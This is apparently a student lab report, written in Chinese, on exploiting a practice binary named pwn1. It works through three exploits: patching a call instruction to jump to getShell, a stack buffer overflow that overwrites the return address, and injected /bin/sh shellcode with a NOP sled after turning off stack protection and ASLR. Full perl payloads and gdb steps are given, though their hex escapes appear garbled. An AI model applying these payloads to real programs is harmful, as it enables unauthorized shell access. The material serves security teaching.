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实验目标
- 本次实验的对象是一个名为
pwn1的linux可执行文件。 - 该程序正常执行流程是：
main调用foo函数，foo函数会简单回显任何用户输入的字符串。 - 该程序同时包含另一个代码片段，
getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
实验内容
- 手工修改可执行文件，改变程序执行流程，直接跳转到
getShell - 利用
foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数 - 注入一个自己制作的
shellcode并运行这段shellcode
知识点描述
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 使用
objdump -d 20165330zyx可查看可执行文件20165330zyx的反汇编代码及其对应机器码
- 可知：
NOP：无作用，英文"no operation"的简写，意思是"do nothing"(机器码90)JNE：若不相等则跳(机器码75JE：若相等则跳(机器码74JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB），段内直接近转移Jmp near（机器码：E9），段内间接转移Jmp word（机器码：FF），段间直接(远)转移Jmp far（机器码：EA）CMP：比较指令，cmp的功能相当于减法指令。它不保存结果，只是影响相应的标志位(机器码39)
- 掌握反汇编与十六进制编程器
- 反汇编指令：
objdump -d objfile，关于其他用法可参考Linux下C程序的反汇编- 关于管道，输入、输出重定向参考linux下输入输出重定向和管道符
- 十六进制编程器：用来以16进制视图进行文本编辑的编辑工具软件，其实我们只需要用各系统都兼容的
vim编辑器就可以实现十六进制编辑的功能。具体步骤如下：
- 输入命令
vi 20165330zyx查看可执行文件内容，发现大部分是我们没法理解的乱码；- 按
esc后在底行输入:%!xxd将显示模式切换为16进制模式;- 进行相关操作后，输入
:%!xxd -r转换16进制为原格式。
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
实验步骤
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数
- 用
objdump -d 20165330zyx指令查看可执行文件的反汇编结果 - 锁定修改目标
80484b5: e8 d7 ff ff ff call 8048491 <foo> - 对比
getShell函数的地址0804847d和foo函数的地址08048491，可以发现两地址之差为十六进制14;
- call汇编指令的机器码为e8，我们可以锁定这部分，后面的
d7 ff ff ff这四个字节为数值部分，代表指令跳转时需要与eip寄存器相加的偏移量 - 如果我们想让函数调用
getShell，只需要修改d7 ff ff ff即可。由于数值存储方式为小端方式，所以锁定需要改的字节为d7，将它与地址差14做减法运算后的值为c3 - 下面修改可执行文件，将其中的
call指令的目标地址由d7ffffff变为c3ffffffcp 20165330zyx 20165330pwn2复制文件- 使用
vi 20165330pwn2编辑可执行文件； - 按
esc后，输入%!xxd将显示模式切换为十六进制模式 - 在底行
/d7查找需要修改的内容，将d7改为c3 - 转换16进制为原格式：
:%!xxd -r - 保存退出：
:wq
- 此时我们反汇编可看到
call指令调用的函数被改
- 输入
./20165330pwn2运行该可执行文件
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数
- 可执行文件正常运行是调用
foo函数，我们发现这个函数有Buffer overflow漏洞 foo函数读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址- 正常时
call调用foo,同时在堆栈上压上返回地址值0x80484ba - 确认输入字符串哪几个字符会覆盖到返回地址
- 用
gdb 20165330pwn(pwn的副本）调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出
info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址
- 这是我们就将
getShell的地址0x0804847d把1234替换即可 - 由于数据按小端存储，我们的正确输入为
11111111222222223333333344444444x7dx84x04x08 - 因为我们没法通过键盘输入
x7dx84x04x08这样的16进制值，输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input生成包括字符串的一个文件(x0a表示回车) - 使用16进制查看指令
xxd查看input文件的内容是否如预期 - 确认无误后用
(cat input;cat) | ./20165330pwn将input中的字符串作为可执行文件的输入
注入一个自己制作的shellcode并运行这段shellcode
- 下载execstack程序以便接下来可以设置易于攻击的环境：
apt-get install execstack - 准备工作
- 修改些设置
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 - 查看地址随机化的状态：
more /proc/sys/kernel/randomize_va_space - 关闭地址随机化：
echo "0" > /proc/sys/kernel/randomize_va_space
- 修改些设置
- 构造要注入的payload
- 目的：将shellcode代码写入buffer（缓冲区足够大），或把shellcode放在返回地址后（缓冲区小），把返回地址改为buffer的首地址
- 我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90：
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode //上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 //特别提醒：最后一个字符千万不能是x0a - 注入：
(cat input_shellcode;cat) | ./20165330pwn - 再打开一个终端查看执行文件进程号
ps -ef | grep 20165330pwn
- 启用gdb调试进程，
attach 2222与进程建立连接 - 设置断点查看注入buf的内存地址
disassemble foo //反汇编 break *0x080484ae //设置断点 //在另外一个终端中按下回车 c继续info r esp查看esp栈顶指针的地址- 使用
x/16x 0xffffd33c查看其存放内容，看到01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是0xffffd340，即0xffffd33c加上4字节
c-quit退出gdb调试，回到之前的终端输入exit退出命令，修改之前的x4x3x2x1部分：perl -e 'print "A" x 32;print"x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode- 再次运行
(cat input_shellcode;cat) | ./20165330pwn后发现执行成功
实验过程中遇到的问题
- 在实验过程中虚拟机连接网络失败，试了之前所有方法都没效果
解决办法：参考如何解决VMware Workstation虚拟机无法上网，重置网络设置之后重启虚拟机即可连接网络。
- 在运行pwn1时出现错误提示：
[ bash： ./pwn1:没有那个文件或目录]，但ls命令下又能看到存在pwn1文件
解决办法：参考64位Kali无法顺利执行pwn1问题的解决方案，一般可解决。
- 在对上一个问题进行解决时，按照方法却出现了错误提示
kali无法安全地用该源进行更新,所以默认禁用该源，kali无法更新源
解决办法：参考解决kali更新源时出现签名无效问题，我将更新源换成该博客中的内容后在进行
apt-get update更新成功，之后输入apt-get install lib32z132位运行库安装成功，文件可执行
- 下载execstack程序时，出现错误提示
实验感想
- 实验收获与感想
在这次实验中不仅懂得了什么是缓冲区溢出，也动手实现了缓冲区溢出，并且也把上学期所学的一些内容又串联在了一起，加深了我对堆栈的理解。
- 什么是漏洞？漏洞有什么危害？
- 缓冲区溢出就是输入的内容超过所分配的缓冲区空间，被溢出的内容由于设计的缺陷没有被立刻检查到，而破坏堆栈覆盖一些原始数据。
- 会导致程序运行失败、系统关机、重新启动，或者执行攻击者的指令，比如非法提升权限。